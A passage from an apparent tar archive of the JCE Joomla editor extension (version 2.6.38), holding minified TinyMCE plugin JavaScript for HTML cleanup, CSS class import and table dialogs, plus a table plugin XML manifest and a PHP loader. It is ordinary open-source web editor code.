expr?"="===expr?value===check:"*="===expr?value.indexOf(check)>=0:"~="===expr?(" "+value+" ").indexOf(" "+check+" ")>=0:"!="===expr?value!=check:"^="===expr?0===value.indexOf(check):"$="===expr&&value.substr(value.length-check.length)===check:!!check}function replaceAttributeValue(nodes,name,expr,check){for(var node,i=nodes.length;i--;){node=nodes[i];var value=node.attr(name);value&&(expr&&!attrFilter(value,expr,check)||(node.attr(name,null),"src"!==name&&"href"!==name&&"style"!==name||node.attr("data-mce-"+name,null),"a"!==node.name||node.attributes.length||node.unwrap()))}}if(ed.serializer.addAttributeFilter("data-mce-tmp",function(nodes,name){for(var node,i=nodes.length;i--;)node=nodes[i],node.attr("data-mce-tmp",null)}),ed.parser.addAttributeFilter("data-mce-tmp",function(nodes,name){for(var node,i=nodes.length;i--;)node=nodes[i],node.attr("data-mce-tmp",null)}),ed.settings.verify_html!==!1){var elements=ed.schema.elements;each(split("ol ul sub sup blockquote font table tbody tr strong b"),function(name){elements[name]&&(elements[name].removeEmpty=!1)}),ed.getParam("pad_empty_tags",!0)||each(elements,function(v,k){v.paddEmpty&&(v.paddEmpty=!1)}),ed.getParam("table_pad_empty_cells",!0)||(elements.th.paddEmpty=!1,elements.td.paddEmpty=!1),each(elements,function(v,k){tinymce.inArray(tags,k)===-1&&ed.schema.addCustomElements(k)})}if(ed.settings.verify_html!==!1){var invalidAttribValue=ed.getParam("invalid_attribute_values","");invalidAttribValue&&each(tinymce.explode(invalidAttribValue),function(item){var matches=/([a-z0-9\*]+)\[([a-z0-9-]+)([\^\$\!~\*]?=)?["']?([^"']+)?["']?\]/i.exec(item);if(matches&&5==matches.length){var tag=matches[1],attrib=matches[2],expr=matches[3],value=matches[4];!attrib||expr||value||(expr=""),"undefined"!=typeof expr&&("*"==tag?(ed.parser.addAttributeFilter(attrib,function(nodes,name){replaceAttributeValue(nodes,name,expr,value)}),ed.serializer.addAttributeFilter(attrib,function(nodes,name){replaceAttributeValue(nodes,name,expr,value)})):(ed.parser.addNodeFilter(tag,function(nodes,name){replaceAttributeValue(nodes,attrib,expr,value)}),ed.serializer.addNodeFilter(tag,function(nodes,name){replaceAttributeValue(nodes,attrib,expr,value)})))}})}ed.serializer.addNodeFilter(ed.settings.invalid_elements,function(nodes,name){var node,i=nodes.length;if(ed.schema.isValidChild("body",name))for(;i--;)node=nodes[i],node.remove()}),ed.parser.addNodeFilter(ed.settings.invalid_elements,function(nodes,name){var node,i=nodes.length;if(ed.schema.isValidChild("body",name))for(;i--;)node=nodes[i],"span"===name&&node.attr("data-mce-type")||node.unwrap()}),ed.parser.addNodeFilter("a,i,span,li",function(nodes,name){for(var node,cls,i=nodes.length;i--;)node=nodes[i],cls=node.attr("class")||"li"===name,cls&&!node.firstChild&&(node.attr("data-mce-empty","1"),node.append(new Node("#text","3")).value=" ")}),ed.serializer.addAttributeFilter("data-mce-empty",function(nodes,name){for(var node,fc,i=nodes.length;i--;)node=nodes[i],fc=node.firstChild,node.attr("data-mce-empty",null),!fc||" "!==fc.value&&"&nbsp;"!==fc.value||fc.remove()}),ed.parser.addAttributeFilter("onclick,ondblclick",function(nodes,name){for(var node,i=nodes.length;i--;)node=nodes[i],node.attr("data-mce-"+name,node.attr(name)),node.attr(name,"return false;")}),ed.serializer.addAttributeFilter("data-mce-onclick,data-mce-ondblclick",function(nodes,name){for(var node,k,i=nodes.length;i--;)node=nodes[i],k=name.replace("data-mce-",""),node.attr(k,node.attr(name)),node.attr(name,null)}),ed.serializer.addNodeFilter("br",function(nodes,name){var node,i=nodes.length;if(i)for(;i--;)node=nodes[i],node.parent&&"body"===node.parent.name&&!node.prev&&node.remove()}),ed.parser.addNodeFilter("br",function(nodes,name){var node,i=nodes.length;if(i)for(;i--;)node=nodes[i],node.parent&&"body"===node.parent.name&&!node.prev&&node.remove()})}),ed.settings.verify_html===!1&&ed.addCommand("mceCleanup",function(){var bm,s=ed.settings,se=ed.selection;bm=se.getBookmark();var content=ed.getContent({cleanup:!0});s.verify_html=!0;var schema=new tinymce.html.Schema(s);content=new tinymce.html.Serializer({validate:!0},schema).serialize(new tinymce.html.DomParser({validate:!0},schema).parse(content)),ed.setContent(content,{cleanup:!0}),se.moveToBookmark(bm)}),ed.onBeforeSetContent.add(function(ed,o){if(o.content=o.content.replace(/^<br>/,""),o.content=self.convertFromGeshi(o.content),ed.settings.validate&&ed.getParam("invalid_attributes")){var s=ed.getParam("invalid_attributes","");o.content=o.content.replace(new RegExp("<([^>]+)("+s.replace(/,/g,"|")+')="([^"]+)"([^>]*)>',"gi"),"<$1$4>")}o.content=o.content.replace(fontIconRe,'<$1$2class="$3$4$5-$6$7"$8 data-mce-empty="1">&nbsp;</$1>'),o.content=o.content.replace(/<(a|i|span)\b([^>]+)><\/\1>/gi,'<$1$2 data-mce-empty="1">&nbsp;</$1>'),o.content=o.content.replace(/<li><\/li>/,'<li data-mce-empty="1">&nbsp;</li>')}),ed.onPostProcess.add(function(ed,o){o.set&&(o.content=self.convertFromGeshi(o.content)),o.get&&(o.content=self.convertToGeshi(o.content),o.content=o.content.replace(/<a([^>]*)class="jce(box|popup|lightbox|tooltip|_tooltip)"([^>]*)><\/a>/gi,""),o.content=o.content.replace(/<span class="jce(box|popup|lightbox|tooltip|_tooltip)">(.*?)<\/span>/gi,"$2"),o.content=o.content.replace(/_mce_(src|href|style|coords|shape)="([^"]+)"\s*?/gi,""),ed.settings.validate===!1&&(o.content=o.content.replace(/<body([^>]*)>([\s\S]*)<\/body>/,"$2"),ed.getParam("remove_tag_padding")||(o.content=o.content.replace(/<(p|h1|h2|h3|h4|h5|h6|th|td|pre|div|address|caption)\b([^>]*)><\/\1>/gi,"<$1$2>&nbsp;</$1>"))),ed.getParam("table_pad_empty_cells",!0)||(o.content=o.content.replace(/<(th|td)([^>]*)>(&nbsp;|\u00a0)<\/\1>/gi,"<$1$2></$1>")),o.content=o.content.replace(/<(a|i|span)([^>]+)>(&nbsp;|\u00a0)<\/\1>/gi,function(match,tag,attribs){return attribs=attribs.replace('data-mce-empty="1"',""),"<"+tag+" "+tinymce.trim(attribs)+"></"+tag+">"}),o.content=o.content.replace(/<li data-mce-empty="1">(&nbsp;|\u00a0)<\/li>/gi,"<li></li>"),ed.getParam("remove_div_padding")&&(o.content=o.content.replace(/<div([^>]*)>(&nbsp;|\u00a0)<\/div>/g,"<div$1></div>")),ed.getParam("pad_empty_tags",!0)===!1&&(o.content=o.content.replace(paddedRx,"<$1$2></$1>")),ed.getParam("keep_nbsp",!0)&&"raw"===ed.settings.entity_encoding&&(o.content=o.content.replace(/\u00a0/g,"&nbsp;")),o.content=o.content.replace(/(uk|v|ng|data)-([\w-]+)=""(\s|>)/gi,"$1-$2$3"))}),ed.onSaveContent.add(function(ed,o){if(ed.getParam("cleanup_pluginmode")){var entities={"&#39;":"'","&amp;":"&","&quot;":'"',"&apos;":"'"};o.content=o.content.replace(/&(#39|apos|amp|quot);/gi,function(a){return entities[a]})}}),ed.addButton("cleanup",{title:"advanced.cleanup_desc",cmd:"mceCleanup"})},convertFromGeshi:function(h){return h=h.replace(/<pre xml:lang="([^"]+)"([^>]*)>(.*?)<\/pre>/g,function(a,b,c,d){var attr="";return c&&/\w/.test(c)&&(attr=c.split(" ").join(" data-geshi-")),'<pre data-geshi-lang="'+b+'"'+attr+">"+d+"</pre>"})},convertToGeshi:function(h){return h=h.replace(/<pre([^>]+)data-geshi-lang="([^"]+)"([^>]*)>(.*?)<\/pre>/g,function(a,b,c,d,e){var s=b+d;return s=s.replace(/data-geshi-/gi,"").replace(/\s+/g," ").replace(/\s$/,""),'<pre xml:lang="'+c+'"'+s+">"+e+"</pre>"})}}),tinymce.PluginManager.add("cleanup",tinymce.plugins.CleanupPlugin)}();editor/tiny_mce/plugins/importcss/editor_plugin.js000060400000011475150750527150016562 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){function toAbsolute(u,p){return u.replace(/url\(["']?(.+?)["']?\)/gi,function(a,b){return b.indexOf("://")<0?'url("'+p+b+'")':a})}function isEditorContentCss(url){return url.indexOf("/tiny_mce/")!==-1&&url.indexOf("content.css")!==-1}var each=tinymce.each,DOM=tinymce.DOM;tinymce.create("tinymce.plugins.ImportCSS",{convertSelectorToFormat:function(selectorText){var format,ed=this.editor;if(selectorText){var selector=/^(?:([a-z0-9\-_]+))?(\.[a-z0-9_\-\.]+)$/i.exec(selectorText);if(selector){var elementName=selector[1];if("body"!==elementName){var classes=selector[2].substr(1).split(".").join(" "),inlineSelectorElements=tinymce.makeMap("a,img");return elementName?(format={title:selectorText},ed.schema.getTextBlockElements()[elementName]?format.block=elementName:ed.schema.getBlockElements()[elementName]||inlineSelectorElements[elementName.toLowerCase()]?format.selector=elementName:format.inline=elementName):selector[2]&&(format={inline:"span",selector:"*",title:selectorText.substr(1)}),ed.settings.importcss_merge_classes!==!1?format.classes=classes:format.attributes={class:classes},format}}}},populateStyleSelect:function(){var ed=this.editor,PreviewCss=tinymce.util.PreviewCss,self=this,styleselect=ed.controlManager.get("styleselect");if(styleselect&&!styleselect.hasClasses){var counter=styleselect.getLength(),selectors=this._import();0!==selectors.length&&(each(selectors,function(s,idx){var name="style_"+(counter+idx),fmt=self.convertSelectorToFormat(s);fmt&&(ed.formatter.register(name,fmt),styleselect.add(fmt.title,name,{style:function(){return PreviewCss(ed,fmt)}}))}),styleselect.hasClasses=!0)}},init:function(ed,url){this.editor=ed;var self=this;this.classes=[],this.fontface=[],ed.onPreInit.add(function(editor){var styleselect=ed.controlManager.get("styleselect");styleselect&&!styleselect.hasClasses&&ed.getParam("styleselect_stylesheets",!0)&&styleselect.onPostRender.add(function(ed,n){styleselect.NativeListBox?DOM.bind(DOM.get(n.id,"focus"),self.populateStyleSelect,self):(DOM.bind(DOM.get(n.id+"_text"),"focus mousedown",self.populateStyleSelect,self),DOM.bind(DOM.get(n.id+"_open"),"focus mousedown",self.populateStyleSelect,self))});var fontselect=ed.controlManager.get("fontselect");fontselect&&fontselect.onPostRender.add(function(){self.fontface.length&&self.classes.length||self._import()})}),ed.onNodeChange.add(function(){var styleselect=ed.controlManager.get("styleselect");if(styleselect&&!styleselect.hasClasses&&ed.getParam("styleselect_stylesheets",!0))return self.populateStyleSelect()})},_import:function(){function isAllowedStylesheet(href){var styleselect=ed.getParam("styleselect_stylesheets");return!styleselect||("undefined"!=typeof filtered[href]?filtered[href]:(filtered[href]=href.indexOf(styleselect)!==-1,filtered[href]))}function parseCSS(stylesheet){each(stylesheet.imports,function(r){if(r.href.indexOf("://fonts.googleapis.com")>0){var v="@import url("+r.href+");";return void(tinymce.inArray(self.fontface,v)===-1&&self.fontface.unshift(v))}parseCSS(r)});try{if(rules=stylesheet.cssRules||stylesheet.rules,href=stylesheet.href,!href)return;if(isEditorContentCss(href))return;stylesheet.href&&(href=stylesheet.href.substr(0,stylesheet.href.lastIndexOf("/")+1))}catch(e){}each(rules,function(r){switch(r.type||1){case 1:if(!isAllowedStylesheet(stylesheet.href))return!0;!r.type,r.selectorText&&each(r.selectorText.split(","),function(v){v=v.replace(/^\s*|\s*$|^\s\./g,""),!/\.mce/.test(v)&&/\.[\w\-]+$/.test(v)&&tinymce.inArray(self.classes,v)===-1&&self.classes.push(v)});break;case 3:if(r.href.indexOf("//fonts.googleapis.com")>0){var v="@import url("+r.href+");";tinymce.inArray(self.fontface,v)===-1&&self.fontface.unshift(v)}r.href.indexOf("//")===-1&&parseCSS(r.styleSheet);break;case 5:if(r.cssText&&/(fontawesome|glyphicons|icomoon)/i.test(r.cssText)===!1){var v=toAbsolute(r.cssText,href);tinymce.inArray(self.fontface,v)===-1&&self.fontface.push(v)}}})}var fontface,self=this,ed=this.editor,doc=ed.getDoc(),href=(ed.settings.class_filter,""),rules=[],filtered={};if(0===self.classes.length)try{each(doc.styleSheets,function(styleSheet){parseCSS(styleSheet)})}catch(ex){}if(self.fontface.length&&!fontface)try{var head=DOM.doc.getElementsByTagName("head")[0],style=DOM.create("style",{type:"text/css",id:"wf-fontface"}),css=self.fontface.join("\n");if(style.styleSheet){var setCss=function(){try{style.styleSheet.cssText=css}catch(e){}};style.styleSheet.disabled?setTimeout(setCss,10):setCss()}else style.appendChild(DOM.doc.createTextNode(css));head.appendChild(style),fontface=!0}catch(e){}return ed.getParam("styleselect_sort",1)&&self.classes.sort(),self.classes}}),tinymce.PluginManager.add("importcss",tinymce.plugins.ImportCSS)}();editor/tiny_mce/plugins/importcss/index.html000060400000000054150750527150015344 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/table/table.xml000060400000010374150750527150014232 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<install version="2.0" type="plugin" plugin="table" core="1" editable="1">
    <name>WF_TABLE_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_TABLE_DESC</description>
    <icon>table_insert,delete_table,row_props,cell_props,row_before,row_after,delete_row,col_before,col_after,delete_col,split_cells,merge_cells</icon>
    <params group="defaults">
        <param name="width" type="text" size="6" default="" pattern="[0-9a-z%]+" label="WF_TABLES_PARAM_WIDTH" description="WF_TABLES_PARAM_WIDTH_DESC" />
        <param name="height" type="text" size="6" default="" pattern="[0-9a-z%]+" label="WF_TABLES_PARAM_HEIGHT" description="WF_TABLES_PARAM_HEIGHT_DESC" />
        <param name="border" type="text" size="5" default="0" pattern="[0-9]+" label="WF_TABLES_PARAM_BORDER" description="WF_TABLES_PARAM_BORDER_DESC" />
        <param name="cols" type="text" size="5" default="2" pattern="[0-9]+" label="WF_TABLES_PARAM_COLS" description="WF_TABLES_PARAM_COLS_DESC" />
        <param name="rows" type="text" size="5" default="2" pattern="[0-9]+" label="WF_TABLES_PARAM_ROWS" description="WF_TABLES_PARAM_ROWS_DESC" />
        <param name="cellpadding" type="text" size="5" default="" pattern="[0-9]+" label="WF_TABLES_PARAM_CELLPADDING" description="WF_TABLES_PARAM_CELLPADDING_DESC" />
        <param name="cellspacing" type="text" size="5" default="" pattern="[0-9]+" label="WF_TABLES_PARAM_CELLSPACING" description="WF_TABLES_PARAM_CELLSPACING_DESC" />
        <param name="align" type="list" default="" label="WF_TABLE_ALIGN" description="WF_TABLE_ALIGN_DESC">
            <option value="">WF_OPTION_NOT_SET</option>
            <option value="left">WF_TABLE_ALIGN_LEFT</option>
            <option value="center">WF_TABLE_ALIGN_MIDDLE</option>
            <option value="right">WF_TABLE_ALIGN_RIGHT</option>
        </param>
        <param name="classes" type="text" size="50" default="" pattern="[\w- ]+" label="WF_LABEL_CLASSES" description="WF_LABEL_CLASSES_DESC" />
        <param name="pad_empty_cells" type="list" default="1" label="WF_TABLE_PAD_EMPTY_CELLS" description="WF_TABLE_PAD_EMPTY_CELLS_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="show_buttons" type="list" default="1" label="WF_TABLE_SHOW_BUTTONS" description="WF_TABLE_SHOW_BUTTONS_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
    </params>
    <params group="buttons">
        <param name="buttons" class="checklist buttonlist" type="list" multiple="multiple" default="table_insert,delete_table,row_props,cell_props,row_before,row_after,delete_row,col_before,col_after,delete_col,split_cells,merge_cells" label="WF_PARAM_BUTTONS" description="WF_PARAM_BUTTONS_DESC">
            <option value="table_insert">WF_TABLE_INSERT</option>
            <option value="delete_table">WF_TABLE_DELETE</option>
            <option value="row_props">WF_TABLE_ROW_PROPS</option>
            <option value="cell_props">WF_TABLE_CELL_PROPS</option>
            <option value="row_before">WF_TABLE_ROW_BEFORE</option>
            <option value="row_after">WF_TABLE_ROW_AFTER</option>
            <option value="delete_row">WF_TABLE_ROW_DELETE</option>
            <option value="col_before">WF_TABLE_COL_BEFORE</option>
            <option value="col_after">WF_TABLE_COL_AFTER</option>
            <option value="delete_col">WF_TABLE_COL_DELETE</option>
            <option value="split_cells">WF_TABLE_SPLIT</option>
            <option value="merge_cells">WF_TABLE_MERGE</option>
        </param>
    </params>
    <help>
        <topic key="tables.edit" title="WF_TABLES_HELP_EDIT" />
        <topic key="tables.delete" title="WF_TABLES_HELP_DELETE" />
        <topic key="tables.rows" title="WF_TABLES_HELP_ROWS" />
    </help>
    <languages></languages>
</install>
editor/tiny_mce/plugins/table/table.php000060400000001114150750527150014211 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

require_once dirname(__FILE__).'/classes/table.php';

$plugin = new WFTablesPlugin();
$plugin->execute();
editor/tiny_mce/plugins/table/js/table.js000060400000044457150750527150014473 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(tinymce,tinyMCEPopup,$){function convertRGBToHex(col){var re=new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)","gi"),rgb=col.replace(re,"$1,$2,$3").split(",");return 3==rgb.length?(r=parseInt(rgb[0]).toString(16),g=parseInt(rgb[1]).toString(16),b=parseInt(rgb[2]).toString(16),r=1==r.length?"0"+r:r,g=1==g.length?"0"+g:g,b=1==b.length?"0"+b:b,"#"+r+g+b):col}function trimSize(size){return size=size.replace(/([0-9\.]+)(px|%|in|cm|mm|em|ex|pt|pc)/i,"$1$2"),size?size.replace(/px$/,""):""}Wf.setStyles=function(){var ed=tinyMCEPopup.editor,$proxy=$("<div />"),proxy=$proxy.get(0);$proxy.attr("style",$("#style").val());var map={"background-image":"backgroundimage","border-spacing":"cellspacing","border-collapse":"cellspacing","vertical-align":"valign","background-color":"bgcolor",float:"align","text-align":"align"},legacy=["align","valign"];$.each(["background-image","width","height","border-spacing","border-collapse","vertical-align","background-color","text-align","float"],function(i,k){var v=ed.dom.getStyle(proxy,k);return $proxy.css(k,""),!("width"!==k&&"height"!==k||(v=trimSize(v)))||("background-image"===k&&(v=v.replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)","gi"),"$1")),"background-color"===k&&(v=convertRGBToHex(v)),"border-spacing"===k&&(v=trimSize(v)),"border-collapse"===k&&"collapse"===v&&(v=0),"float"===k&&""!==$("#align").val()||(k=map[k]||k,!(!isHTML4||$.inArray(k,legacy)===-1)||void $("#"+k).val(v).change()))}),"auto"===proxy.style.marginLeft&&"auto"===proxy.style.marginRight&&""===$("#align").val()&&($("#align").val("center"),$proxy.css({"margin-left":"","margin-right":""}));var border=!1;$.each(["width","color","style"],function(i,k){var v=ed.dom.getStyle($proxy.get(0),"border-"+k);""===v?$.each(["top","right","bottom","left"],function(i,n){var sv=ed.dom.getStyle($proxy.get(0),"border-"+n+"-"+k);(""!==sv||sv!=v&&""!==v)&&(v=""),sv&&(v=sv)}):(border=!0,$proxy.css("border-"+k,"")),"width"==k&&(v=/[0-9][a-z]/.test(v)?parseInt(v):v),"color"==k&&v&&(v=Wf.String.toHex(v),"#"===v.charAt(0)&&(v=v.substr(1))),border&&($("#border").attr("checked","checked").change(),"width"===k&&0==$('option[value="'+v+'"]',"#border_width").length&&$("#border_width").append(new Option(v,v)),$("#border_"+k).val(v).change())});var styles=ed.dom.parseStyle($proxy.attr("style"));for(k in styles)(k.indexOf("-moz-")>=0||k.indexOf("-webkit-")>=0)&&delete styles[k];$("#style").val(ed.dom.serializeStyle(styles))};var isHTML4="html4"===tinyMCEPopup.editor.settings.schema,isHTML5="html5-strict"===tinyMCEPopup.editor.settings.schema,TableDialog={settings:{},init:function(){var layout=(tinyMCEPopup.editor,tinyMCEPopup.getWindowArg("layout","table"));if(this.settings.file_browser||$("input.browser").removeClass("browser"),Wf.init(),"merge"==layout)return this.initMerge();switch(isHTML5&&$("#axis, #abbr, #scope, #summary, #char, #charoff, #tframe, #nowrap, #rules, #cellpadding, #cellspacing").each(function(){$(this).add('label[for="'+this.id+'"]').hide()}),layout){case"table":this.initTable();break;case"cell":this.initCell();break;case"row":this.initRow()}},insert:function(){var layout=tinyMCEPopup.getWindowArg("layout","table");switch(layout){case"table":this.insertTable();break;case"cell":this.updateCells();break;case"row":this.updateRows();break;case"merge":this.merge()}},initMerge:function(){$("#numcols").val(tinyMCEPopup.getWindowArg("cols",1)),$("#numrows").val(tinyMCEPopup.getWindowArg("rows",1)),$("#insert").button("option","label",tinyMCEPopup.getLang("update","Update",!0))},updateClassList:function(cls){cls&&$("#classlist").val(function(){var n=this,a=cls.split(" "),r=[];return $.each(a,function(i,v){v.indexOf("mce-item")==-1&&(0==$('option[value="'+v+'"]',n).length&&$(n).append(new Option(v,v)),r.push(v))}),r}).change()},initTable:function(){var self=this,ed=tinyMCEPopup.editor,elm=ed.dom.getParent(ed.selection.getNode(),"table"),action=tinyMCEPopup.getWindowArg("action");if(action||(action=elm?"update":"insert"),isHTML4&&($("#table_border").replaceWith('<input type="checkbox" id="table_border" value="" />'),$("#table_border").click(function(){this.value=this.checked?1:""})),elm&&"insert"!=action){for(var rowsAr=elm.rows,cols=0,i=0;i<rowsAr.length;i++)rowsAr[i].cells.length>cols&&(cols=rowsAr[i].cells.length);$("#cols").val(cols),$("#rows").val(rowsAr.length),$("#caption").prop("checked",elm.getElementsByTagName("caption").length>0),$.each(["align","width","height","cellpadding","cellspacing","id","summary","dir","lang","bgcolor","background","frame","rules","border"],function(i,k){var v=ed.dom.getAttrib(elm,k);return"background"===k&&""!==v&&(v=v.replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)","gi"),"$1")),"border"===k&&""!==v?($("#table_border").val(function(){return v=parseInt(v),"checkbox"===this.type&&(this.checked=!!v),v}),!0):void $("#"+k).val(v)}),$("#classes").val(function(){var cls=ed.dom.getAttrib(elm,"class");return cls=cls.replace(/(?:^|\s)mce-item-(\w+)(?!\S)/g,""),self.updateClassList(cls),cls}).change(),$("#style").val(ed.dom.getAttrib(elm,"style")).change(),this.orgTableWidth=$("#width").val(),this.orgTableHeight=$("#height").val(),$("#insert .uk-button-text").text(tinyMCEPopup.getLang("update","Update",!0))}else Wf.setDefaults(this.settings.defaults);"update"==action&&$("#cols, #rows").prop("disabled",!0)},initRow:function(){var self=this,ed=tinyMCEPopup.editor,dom=tinyMCEPopup.dom,elm=dom.getParent(ed.selection.getStart(),"tr"),selected=dom.select("td.mceSelected,th.mceSelected",elm),rowtype=elm.parentNode.nodeName.toLowerCase();$("#style").val(ed.dom.getAttrib(elm,"style")).change(),$.each(["align","width","height","cellpadding","cellspacing","id","summary","dir","lang","bgcolor","background"],function(i,k){var v=ed.dom.getAttrib(elm,k),dv=$("#"+k).val();"background"===k&&""!==v&&(v=v.replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)","gi"),"$1")),""!==dv&&(v=dv),selected.length&&$.inArray(k,["bgcolor","background","height","id","lang","align"])!==-1&&(v=isHTML4?v:""),$("#"+k).val(v)}),$("#classes").val(function(){var cls=ed.dom.getAttrib(elm,"class");return cls=cls.replace(/(?:^|\s)mce-item-(\w+)(?!\S)/g,""),self.updateClassList(cls),cls}).change(),$("#rowtype").change(function(){self.setActionforRowType()}).val(rowtype).change(),0===selected.length?$("#insert .uk-button-text").text(tinyMCEPopup.getLang("update","Update",!0)):$("#action").hide()},initCell:function(){var self=this,ed=tinyMCEPopup.editor,dom=ed.dom,elm=dom.getParent(ed.selection.getStart(),"td,th");dom.hasClass(elm,"mceSelected")?$("#action").hide():($("#style").val(ed.dom.getAttrib(elm,"style")).change(),$.each(["align","valign","width","height","cellpadding","cellspacing","id","summary","dir","lang","bgcolor","background","scope"],function(i,k){var v=ed.dom.getAttrib(elm,k),dv=$("#"+k).val();"background"===k&&""!==v&&(v=v.replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)","gi"),"$1")),""!==dv&&(v=dv),$("#"+k).val(v)}),$("#classes").val(function(){var cls=ed.dom.getAttrib(elm,"class");return cls=cls.replace(/(?:^|\s)mce-item-(\w+)(?!\S)/g,""),self.updateClassList(cls),cls}).change(),$("#celltype").val(elm.nodeName.toLowerCase()),$("#insert .uk-button-text").text(tinyMCEPopup.getLang("update","Update",!0)))},merge:function(){var func;tinyMCEPopup.restoreSelection(),func=tinyMCEPopup.getWindowArg("onaction"),func({cols:$("#numcols").val(),rows:$("#numrows").val()}),tinyMCEPopup.close()},getStyles:function(){var dom=tinyMCEPopup.editor.dom,style=$("#style").val();if(isHTML4)return style;var styles={"vertical-align":"",float:""};return $.each(["width","height","backgroundimage","border","bgcolor"],function(i,k){var v=$("#"+k).val();return"backgroundimage"===k&&(""!==v&&(v='url("'+v+'")'),k="background-image"),"bgcolor"===k&&v&&(""!==v&&(v="#"===v.charAt(0)?v:"#"+v),k="background-color"),"width"!==k&&"height"!==k||v&&!/\D/.test(v)&&(v=parseInt(v)+"px"),"border"===k?($("#border").is(":checked")&&$.each(["width","style","color"],function(i,n){var s=$("#border_"+n).val();"width"!==n||""===s||/\D/.test(s)||(s=parseInt(s)+"px"),"color"===n&&"#"!==s.charAt(0)&&(s="#"+s),styles["border-"+n]=s}),!0):void(styles[k]=v)}),style=dom.serializeStyle($.extend(dom.parseStyle(style),styles)),style=dom.serializeStyle(dom.parseStyle(style))},insertTable:function(){var ed=tinyMCEPopup.editor,dom=ed.dom;tinyMCEPopup.restoreSelection();var elm=ed.dom.getParent(ed.selection.getNode(),"table"),action=tinyMCEPopup.getWindowArg("action");action||(action=elm?"update":"insert");var align,width,height,className,caption,frame,rules,capEl,elm,cols=2,rows=2,border=0,cellpadding=-1,cellspacing=-1,html="";if(!AutoValidator.validate($("form").get(0)))return tinyMCEPopup.alert(ed.getLang("invalid_data")),!1;if(width=$("#width").val(),height=$("#height").val(),align=$("#align").val(),cols=$("#cols").val(),rows=$("#rows").val(),cellpadding=$("#cellpadding").val(),cellspacing=$("#cellspacing").val(),frame=$("#tframe").val(),rules=$("#rules").val(),className=$("#classes").val(),id=$("#id").val(),summary=$("#summary").val(),dir=$("#dir").val(),lang=$("#lang").val(),caption=$("#caption").is(":checked"),borderColor=$("#border_color").val(),bgColor=$("#bgcolor").val(),background=$("#backgroundimage").val(),style=this.getStyles(),border=$("#table_border").val(),$("#table_border").is(":checkbox")&&(border=$("#table_border").is(":checked")?"1":""),isHTML4||(align="",width="",height="",bgColor=""),"update"==action)return ed.execCommand("mceBeginUndoLevel"),isHTML5||(dom.setAttrib(elm,"cellPadding",cellpadding,!0),dom.setAttrib(elm,"cellSpacing",cellspacing,!0)),dom.setAttribs(elm,{width:width,height:height,align:align,border:border,bgColor:bgColor}),dom.setAttrib(elm,"frame",frame),dom.setAttrib(elm,"rules",rules),dom.setAttrib(elm,"class",className),dom.setAttrib(elm,"style",style),dom.setAttrib(elm,"id",id),dom.setAttrib(elm,"summary",summary),dom.setAttrib(elm,"dir",dir),dom.setAttrib(elm,"lang",lang),capEl=ed.dom.select("caption",elm)[0],capEl&&!caption&&capEl.parentNode.removeChild(capEl),!capEl&&caption&&(capEl=elm.ownerDocument.createElement("caption"),tinymce.isIE&&!tinymce.isIE11||(capEl.innerHTML='<br data-mce-bogus="1"/>'),elm.insertBefore(capEl,elm.firstChild)),isHTML4||$("#align").val()&&ed.formatter.apply("align"+$("#align").val(),{},elm),ed.addVisual(),ed.nodeChanged(),ed.execCommand("mceEndUndoLevel",!1,{},{skip_undo:!0}),ed.execCommand("mceRepaint"),tinyMCEPopup.close(),!0;html+="<table",html+=this.makeAttrib("id",id),border&&(html+=this.makeAttrib("border",border)),html+=this.makeAttrib("cellpadding",cellpadding),html+=this.makeAttrib("cellspacing",cellspacing),html+=this.makeAttrib("data-mce-new","1"),html+=this.makeAttrib("width",width),html+=this.makeAttrib("height",height),html+=this.makeAttrib("align",align),html+=this.makeAttrib("frame",frame),html+=this.makeAttrib("rules",rules),html+=this.makeAttrib("class",className),html+=this.makeAttrib("style",style),html+=this.makeAttrib("summary",summary),html+=this.makeAttrib("dir",dir),html+=this.makeAttrib("lang",lang),html+=this.makeAttrib("bgcolor",bgColor),html+=">",caption&&(html+=!tinymce.isIE||tinymce.isIE11?'<caption><br data-mce-bogus="1" /></caption>':"<caption></caption>");for(var y=0;y<rows;y++){html+="<tr>";for(var x=0;x<cols;x++)html+=!tinymce.isIE||tinymce.isIE11?'<td><br data-mce-bogus="1" /></td>':"<td></td>";html+="</tr>"}if(html+="</table>",ed.execCommand("mceBeginUndoLevel"),ed.settings.fix_table_elements){var patt="";ed.focus(),ed.selection.setContent('<br class="_mce_marker" />'),tinymce.each("h1,h2,h3,h4,h5,h6,p".split(","),function(n){patt&&(patt+=","),patt+=n+" ._mce_marker"}),tinymce.each(ed.dom.select(patt),function(n){ed.dom.split(ed.dom.getParent(n,"h1,h2,h3,h4,h5,h6,p"),n)}),dom.setOuterHTML(dom.select("br._mce_marker")[0],html)}else 